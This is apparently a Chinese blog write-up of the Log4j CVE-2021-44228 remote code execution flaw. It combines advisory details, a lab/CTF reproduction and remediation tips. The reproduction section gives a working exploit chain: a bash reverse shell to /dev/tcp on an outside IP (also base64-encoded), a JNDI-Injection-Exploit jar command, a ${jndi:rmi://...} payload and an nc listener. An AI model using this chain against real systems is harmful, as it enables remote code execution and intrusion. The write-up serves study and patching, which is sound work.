0x01 漏洞简述
2021年12月09日,360CERT监测发现Apache Log4j 2存在JNDI远程代码执行,漏洞等级:严重,漏洞评分:10.0。
Apache Log4j 2是一个开源的日志记录组件,使用非常的广泛,使用情况参考:
https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages
对此,360CERT建议广大用户尽快将·Apache Log4j 2进行升级,以免遭受黑客攻击。
0x02 漏洞最新情况
基本信息 | 详情 |
相关组件 | Apache Log4j2 |
CVE编号 | CVE-2021-44228 |
漏洞类型 | 远程代码执行 |
漏洞评分 | 10.0 |
风险等级 | 等级 |
威胁等级 | 严重 |
影响范围 | 广泛 |
攻击者价值 | 极高 |
利用难度 | 极低 |
利用状态 | 最新情况 |
PoC/EXP | 已公开 |
在野利用 | 已存在 |
漏洞细节 | 已公开 |
安全补丁 | 已发布 |
0x03影响版本
注:Apache Log4j 1.x 版本不受此次漏洞影响。
0x04漏洞复现
1.先将工具下载
工具下载:链接: https://pan.baidu.com/s/12aEyW1P7NopJm-n53jnAEQ 提取码: nv8g
2.打开本地服务器文件上传,先建一个名为ddd的文件夹 把下载的工具放进去
3.进入这个工具的目录下
4.在这个目录下(ddd)服务器执行(自己的本地服务器ip)
bash -i >& /dev/tcp/121.4.55.89/6666 0>&1 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuNC41NS44OS82NjY2IDA+JjE=(上面代码base64编码后) java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiA vZGV2L3RjcC8xMjEuNC41NS44OS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A "121.4.55.89"
5.发现1099端口开放,所以我们服务器也要开放这个端口
6.放行之后就要到靶场找flag
7.访问地址图片可以看到
http://vulfocus.fofa.so:20452/
8.抓包要抓页面ok的包
这里面要改payload
payload=$%7bjndi:rmi://121.4.55.89:1099/i3ydu1%7d
(本机服务器ip地址)(i3ydu1为下图选框)
之后就开始监听了,服务器复制一个终端输入
nc -lvvp 6666
burpsuit里面修改完payload之后发送到repeater(重发器),
点击按钮send,发现出现OK字样
观察服务器终端监听页面已经出现监听内容
flag在tmp目录下
直接ls
复制到靶场
通关
复现流程:服务器上传工具并运行以上代码---burpsuit抓包改为payload---服务器监听--等待监听结果
0x05修复建议
- 1.更新log4j至 rc2(https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2)
- 2.配置防火墙策略,禁止主动连接外网设备
- 3.升级受影响的应用及组件
- 4.过滤相关的关键词,比如${jndi://*}
- ......